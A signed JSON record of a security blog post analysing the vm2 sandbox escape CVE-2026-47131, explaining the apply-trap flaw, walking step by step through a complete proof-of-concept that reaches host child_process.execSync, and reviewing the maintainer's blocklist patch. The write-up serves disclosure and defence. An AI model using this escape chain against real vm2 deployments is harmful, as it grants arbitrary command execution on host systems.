-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")`\n\nThe PoC's first line resolves the host's `Object.prototype.__proto__` setter into a sandbox-visible reference. Walked piece by piece:\n\n- `Buffer` in the sandbox is a bridge proxy of the host `Buffer` constructor function.\n- `Buffer.call` resolves to host `Function.prototype.call`, wrapped. `Function.prototype.call` is a method on every host function; the wrapper presents it as a method on the wrapped `Buffer`.\n- `Buffer.call.call(receiver, arg1, arg2)` invokes `Function.prototype.call` with `receiver` as the function-to-call and `[arg1, arg2]` as its arguments. After the apply trap fires and unwraps, the host machinery executes `receiver(arg1, arg2)` in the host realm.\n- `{}.__lookupSetter__` is the host's `Object.prototype.__lookupSetter__` method, reached through the sandbox's `Object.prototype`, which is wired to the host's through the bridge.\n- The full expression therefore executes, in the host realm: `Object.prototype.__lookupSetter__.call(Buffer, \"__proto__\")`. That returns the setter function on `Buffer.__proto__`'s accessor descriptor, which is the inherited host `Object.prototype.__proto__` setter.\n\nThe bridge wraps the returned function on the way back into the sandbox. Sandbox code now holds a wrapped reference to the host's prototype mutator.\n\n```javascript\nconst setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\nsetProto.call(someHostObject, null);\n```\n\nThe second call is, after the apply trap unwraps `setProto` and `someHostObject`, a host-realm invocation of the host's `__proto__` setter with `someHostObject` as the receiver and `null` as the value. V8's internal setter assigns `null` to `someHostObject`'s `[[Prototype]]`. The mutation happens inside the host setter, in host machinery, with `someHostObject` as the raw host receiver.\n\nThe bridge's `set` trap was never invoked. The bridge's `defineProperty` trap was never invoked. The bridge's `setPrototypeOf` trap was never invoked. Those three traps fire when the sandbox writes a property through a proxy. The sandbox did not write a property through a proxy. The sandbox called a function. The function did the write.\n\nThe maintainer's commit message for CVE-2026-47131 names it:\n\n> the apply trap let sandbox code invoke these intrinsics *as functions* with a wrapped host object as `this`, which bypasses every write trap because the actual mutation happens inside the host-realm intrinsic, not through a proxy.\n\n## The chain: sever once, throw twice, walk through unwrapped\n\nMutating a host object's prototype is the precondition, not the escape. The escape pivots through `thisEnsureThis`, the bridge function that decides whether a value arriving from the host realm needs a proxy wrap. Its decision is implemented as a walk up the value's `[[Prototype]]` chain looking for a previously-registered host-to-sandbox mapping. When the walk finds a mapping, it returns the registered wrap. When the walk reaches the top without finding one, the fall-through returns the raw host value to sandbox code.\n\nA truncated chain reaches the top without finding any mapping. The fall-through fires. The host value reaches sandbox code raw. Then `e.constructor.constructor` is host `Function`, and `Function(\"return process\")()` runs in the host realm with the host's process global as its scope chain.\n\nThe canonical PoC is reproduced verbatim in vm2's own `docs/ATTACKS.md` Category 30:\n\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\n \"use strict\";\n const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n async function f() {\n try { await WebAssembly.compileStreaming(); }\n catch(e) { setProto.call(getProto.call(e), null); }\n try { await WebAssembly.compileStreaming(); }\n catch(e) {\n const HostFunction = e.constructor.constructor;\n new HostFunction(\"return process\")()\n .mainModule.require('child_process').execSync('touch pwned');\n }\n }\n f();\n`);\n```\n\nWalked in order:\n\n1. `WebAssembly.compileStreaming()` with no argument throws a host-realm `TypeError`. The error is constructed in host machinery with host `TypeError.prototype` as its `[[Prototype]]`.\n2. The async function's reject machinery delivers the error to the first `catch (e)`. The bridge has not seen this host instance before; it wraps it on first contact. `e` is a wrapped proxy whose underlying target is the raw host `TypeError`.\n3. `getProto.call(e)` is, after the apply trap unwraps, host `Object.prototype.__proto__.get.call(e)`. It returns host `TypeError.prototype`, wrapped by the bridge on the way back.\n4. `setProto.call(getProto.call(e), null)` calls the host setter on host `TypeError.prototype` with `null`. The apply trap unwraps both the function and the receiver and forwards. V8's internal setter severs host `TypeError.prototype.[[Prototype]]` from host `Error.prototype` to `null`.\n5. The second `WebAssembly.compileStreaming()` throws a fresh host `TypeError`. New instance; the bridge has not wrapped this one.\n6. The async-reject machinery delivers the new error to the second `catch (e)`. Before delivery, the bridge invokes `thisEnsureThis` to decide how to present the value. `thisEnsureThis` walks the new error's `[[Prototype]]` chain: host `TypeError.prototype` (no mapping at that level), then one level up, which is now `null` because step 4 severed it. The walk terminates without finding a mapping. The fall-through returns the raw host `TypeError`.\n7. `e.constructor` reads `.constructor` directly off the raw host `TypeError`. The chain above it is severed, but `.constructor` is on `TypeError.prototype` itself and resolves to raw host `TypeError`. `.constructor` again gives host `Function`. `new HostFunction(\"return process\")()` evaluates `return process` in the host realm; `process` is host's process global. `.mainModule.require('child_process').execSync('touch pwned')` runs on the host filesystem.\n\nSteps 4 and 6 are the bridge's defense crossed twice in the same chain. The apply trap forwarded the prototype write at step 4. The proto-walk fell through to a raw host value at step 6. Two paths in `lib/bridge.js`, both producing the failure mode the file exists to prevent.\n\n## The fix is two layers. The blocklist is hand-maintained.\n\nThe patch for CVE-2026-47131 is commit [`27c525f`](https://github.com/patriksimek/vm2/commit/27c525f). It modifies `lib/bridge.js` along both axes the chain crossed.\n\n**Write side: the apply trap.** The patch adds a `ThisWeakMap` keyed by the identity of every host-realm function that mutates `[[Prototype]]` or could install code that does. The maintainer enumerates eight:\n\n```javascript\naddDangerousHostProtoMutator(\n otherSafeGetOwnPropertyDescriptor(otherGlobalPrototypes.Object, '__proto__').set\n);\n// host Object.prototype.__defineSetter__ / __defineGetter__\n// host Object.setPrototypeOf / Object.defineProperty / Object.defineProperties\n// host Reflect.setPrototypeOf / Reflect.defineProperty\n```\n\nThe apply trap checks `isDangerousHostProtoMutator(object)` before forwarding. If the function being applied is in the set, the trap throws `VMError(OPNA)` and the host intrinsic never runs.\n\nDirect invocation through the proxy is closed by that check. Indirection requires more. `Function.prototype.call`, `Function.prototype.apply`, `Function.prototype.bind`, `Reflect.apply`, and `Reflect.construct` are themselves host functions that take a target function as a parameter. Applying any of them to a wrapped dangerous target does not consult the underlying target's identity unless the apply trap looks one layer deeper:\n\n```javascript\nif (!isHost) {\n if (isDangerousHostProtoMutator(object)) throw new VMError(OPNA);\n // Peel one indirection layer: Function.prototype.call / .apply / .bind\n if (isApplyIndirectionPrimitive(object)) {\n const underlying = otherFromThis(context);\n if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);\n }\n // Peel Reflect.apply / Reflect.construct (underlying is args[0])\n if (isReflectApplyPrimitive(object)) {\n const underlying = otherFromThis(args[0]);\n if (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);\n }\n}\n```\n\nThe peel is depth one. The patch's comment claims V8 collapses recursive indirection like `Function.prototype.call.call(...)` into the same apply-target shape at the engine level, so depth-1 peel handles arbitrary stacking. That is an empirical property of one engine, not a property of the language spec. The defense is depth-correct because V8 currently is.\n\n**Read side: the proto-walk fall-through.** The patch adds a cache check at the top of `thisEnsureThis`:\n\n```javascript\nfunction thisEnsureThis(other) {\n // SECURITY (GHSA-v6mx-mf47-r5wg): cache check before proto walk.\n const cached = thisFromOther(other);\n if (cached !== undefined) return cached;\n // ... existing proto-walk fallback unchanged ...\n}\n```\n\nAny host value the bridge has previously wrapped now returns from the cache regardless of whether its prototype chain has since been tampered with. The walk's fall-through is intentionally untouched, because wrapping it would reintroduce [GHSA-9vg3-4rfj-wgcm](https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm), the null-proto throw write-through patched eight days earlier. Two CVEs constrain the fix from opposite directions. The maintainer holds both invariants by adding a check above the walk and leaving the walk alone.\n\nThe blocklist is the load-bearing piece. It is a hand-maintained identity set of host intrinsics the maintainer knows mutate `[[Prototype]]`. ECMAScript specifies the floor of that set, not the ceiling. Node and V8 ship realm-internal accessors the spec does not enumerate. The next prototype-mutating function V8 adds is not in `dangerousHostProtoMutators` until the maintainer adds it, which happens after the next researcher writes the next PoC.\n\n## Category 30 cites Categories 2, 4, and 7\n\n`docs/ATTACKS.md` is 2,535 lines at this commit. The patch added 131 of them as Attack Category 30. The file's structure is a flat numbered list, each category with Description, Attack Flow, Canonical Example, Why It Works, Mitigation, Detection. Categories 1 through 29 cover the bridge bypasses vm2 has shipped patches for since 2018. Category 30 is the new entry. The file is maintained by the same person who maintains the bridge.\n\nCategory 30's first non-heading line is a back-reference:\n\n```markdown\n**Uses**: [Category 2: Prototype Chain Manipulation](#attack-category-2-prototype-chain-manipulation),\n[Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation),\n[Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation).\n```\n\nCategories 2, 4, and 7 are the three primitives Category 30 composes. The prototype walk through `__proto__` is Category 2. The host `TypeError` reached via `e.constructor.constructor` is Category 4. The async-reject machinery that delivers the raw host error back into sandbox code is Category 7. Each of the three has its own canonical PoC, its own mitigation, and a first-shipped date predating Category 30 by years. Category 30 is the composition of three already-documented primitives the bridge stopped individually.\n\nThis is what vm2's attack catalog has become. Not a list. A graph. Category 33, [the JSPI escape patched eight days after this one](/posts/vm2-cve-2026-47210-jspi-deleted-not-bridged), names its own structural property (sandbox-visible Promise with host-realm prototype) and its own Compound Attack Pattern (number 25 in the same file). Categories 34 and 35 ship the same week, each with their own `Uses:` lines. ATTACKS.md is now indexed against itself, with the maintainer as the only person drawing the edges.\n\nThe README's \"Important Security Disclaimer\" tells callers, in prose, that \"researchers and security professionals continuously discover new ways to escape the vm2 sandbox.\" [CVE-2026-24120's writeup](/posts/vm2-cve-2026-24120-readme-already-admits) walked that admission as it appears in the README. ATTACKS.md is the indexed version. Thirty categories, hand-curated, cross-referenced, written by the maintainer who keeps closing the rows. It is the canonical [unpatchable-primitive](/patterns/unpatchable-primitive) accounting log of a [Design Debt Driver](/patterns/design-debt-driver) whose substrate is JavaScript itself: the bridge fails by composition of primitives it has already individually patched, and the `Uses:` annotations are the documentation of which compositions have already shipped. The same README's \"More Robust Alternatives\" section tells callers to use process or hardware isolation for \"arbitrary user submissions,\" which reads as [the-detector-is-the-target](/patterns/the-detector-is-the-target) self-disclosure: vm2 exists to run untrusted code, and its own documentation names the input class the maintainer recommends against subjecting it to.\n\nPoC: vm2's own test fixture at [`test/ghsa/GHSA-v6mx-mf47-r5wg/repro.js`](https://github.com/patriksimek/vm2/blob/master/test/ghsa/GHSA-v6mx-mf47-r5wg/repro.js). Patch: [`27c525f`](https://github.com/patriksimek/vm2/commit/27c525f) in vm2 v3.11.4. Advisory: [GHSA-v6mx-mf47-r5wg](https://github.com/advisories/GHSA-v6mx-mf47-r5wg).","closing_line":"Category 30 is the row. Categories 2, 4, and 7 are the edge.","hook_md":"vm2's bridge stops the sandbox from mutating host objects by wrapping every host value in a Proxy. The Proxies expose three \"write\" traps: `set` (assignment), `defineProperty` (property definition), `setPrototypeOf` (explicit prototype assignment). Each one fires when the sandbox writes through the proxy. Each one consults `isProtectedHostObject` and refuses the mutation when the target's internal state belongs to the bridge.\n\nThe three traps protect the proxy. They do not fire on a function call.\n\nThe bridge also wraps host functions in proxies. The function-proxy's apply trap unwraps the bridge proxies in `args` and `this` and forwards the call to the host function. CVE-2026-47131 is what the sandbox can do once it can name the host's `Object.prototype.__proto__` setter and pass it a wrapped host object as `this`. The apply trap forwards the call. The host setter does the write.","post_id":521,"slug":"vm2-cve-2026-47131-apply-trap-was-the-write-trap","title":"CVE-2026-47131: vm2's Apply Trap Was the Write Trap","type":"initial","unreadable_sentence":"The sandbox did not write a property through a proxy. The sandbox called a function. The function did the write."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCao9HNgAKCRDeZjl4jgkQ Ji1vAQDCG0ufuq5bpKg5YvFA8KhktB+ZsAVwqBNJ4ig/vEC1GgEAj1sE3CCFUDH5 F6bZmUn8m74uJQgO8dCY4VXXguY48gU= =7EwC -----END PGP SIGNATURE-----